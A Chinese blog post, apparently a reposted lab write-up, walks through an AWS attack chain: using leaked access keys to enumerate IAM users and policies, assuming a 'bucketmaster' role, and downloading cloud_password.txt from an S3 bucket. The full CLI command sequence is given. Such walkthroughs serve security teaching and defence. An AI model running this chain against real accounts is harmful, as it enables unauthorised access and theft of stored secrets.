文章总结: 文章以圣诞主题演示AWS渗透:先用泄露密钥枚举IAM用户与策略,发现sts:AssumeRole权限后切换至bucketmaster角色,最终列出并下载敏感S3存储桶easter-secrets-123145中的cloud_password.txt,给出完整命令链与截图,揭示权限提升与数据泄露风险。 综合评分: 78 文章分类: 云安全,渗透测试,红队,漏洞分析,实战经验
AWS Security – S3cret Santa
原创
漫路修行
微痕鉴远
2025年12月29日 17:11 广东
准备凭证:
vi ~/.aws/credentialsaws_access_key_id = AKIAU...XYZaws_secret_access_key = DhMy3ac...FhI
枚举当前凭据所属用户:
aws sts get-caller-identity
IAM Overview
#
AWS服务使用 身份与访问管理(IAM)服务来管理用户及其对各种资源的访问,包括对这些资源可执行的操作。
IAM Users
用户在 AWS 中代表单一身份。每个用户都有一组凭证,如密码或访问密钥,可用于访问资源。此外,权限可以在用户层级授予,定义用户可能拥有的访问权限等级。
#
IAM Groups
多个用户可以合并成一个组。
IAM Roles
角色是一种临时身份,用户、服务或外部账户都可以使用,以获得某些权限。
IAM Policies
向任何用户、组或角色提供的访问权限均通过 IAM 策略进行控制。策略是定义以下内容的 JSON 文档:
- What action is allowed (Action)
- On which resources (Resource)
- Under which conditions (Condition)
- For whom (Principal)
例如:
This policy grants access to the AWS user Alice (Principal) to get an object from an S3 bucket (Action) for the S3 bucket named my-private-bucket (Resource).
枚举用户:
aws iam list-users
枚举用户Policy:
aws iam list-user-policies --user-name sir.carrotbane
枚举附加到该用户的Policy:
aws iam list-attached-user-policies --user-name sir.carrotbane
枚举用户所属组:
aws iam list-groups-for-user --user-name sir.carrotbane
查看 SirCarrotbanePolicy 的内容:
aws iam get-user-policy --policy-name SirCarrotbanePolicy --user-name sir.carrotbane
发现 sir.carrotbane 账号除了有IAM的许多读权限外,还有一个 sts:AssumeRole 权限。这个权限允许我们担任不同roles。先来枚举一下看看有些什么Roles
#
枚举当前用户现有的Roles
aws iam list-roles
发现有一个叫 bucketmaster的role,可以让我们这个账号担任。
检查这个role的内联policy
aws iam list-role-policies --role-name bucketmaster
检查这个role的附加Policy
aws iam list-attached-role-policies --role-name bucketmaster
看起来我们只分配了内联策略。让我们看看能从策略中获得哪些权限。
aws iam get-role-policy --role-name bucketmaster --policy-name BucketMasterPolicy
看到不单可以ListBucket,还可以访问 arn:aws:s3:::easter-secrets-123145/* 这个存储桶里面的东西。
#
Assuming Role
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/bucketmaster --role-session-name TBFC
该命令会要求负责 AWS 安全令牌的服务 STS 生成一套临时凭证,以承担bucketmaster角色。临时凭据将通过会话名称“TBFC”来引用(你可以为会话设置任何你想要的名称)。
#
export AWS_ACCESS_KEY_ID="ASIAxxxxxxxxxxxx"export AWS_SECRET_ACCESS_KEY="abcd1234xxxxxxxxxxxx"export AWS_SESSION_TOKEN="FwoGZXIvYXdzEJr..."
完成后,我们就可以正式使用 bucketmaster 角色赋予的权限。为了确认你是否正确承担了角色,你可以再次运行:
aws sts get-caller-identity
前面分析过我们有权限,列出bucket
aws s3api list-buckets
接下来,也是有权限操作的:
aws s3api list-objects --bucket easter-secrets-123145
aws s3api get-object --bucket easter-secrets-123145 --key cloud_password.txt cloud_password.txt
#
#
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:微痕鉴远 漫路修行《AWS Security – S3cret Santa》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论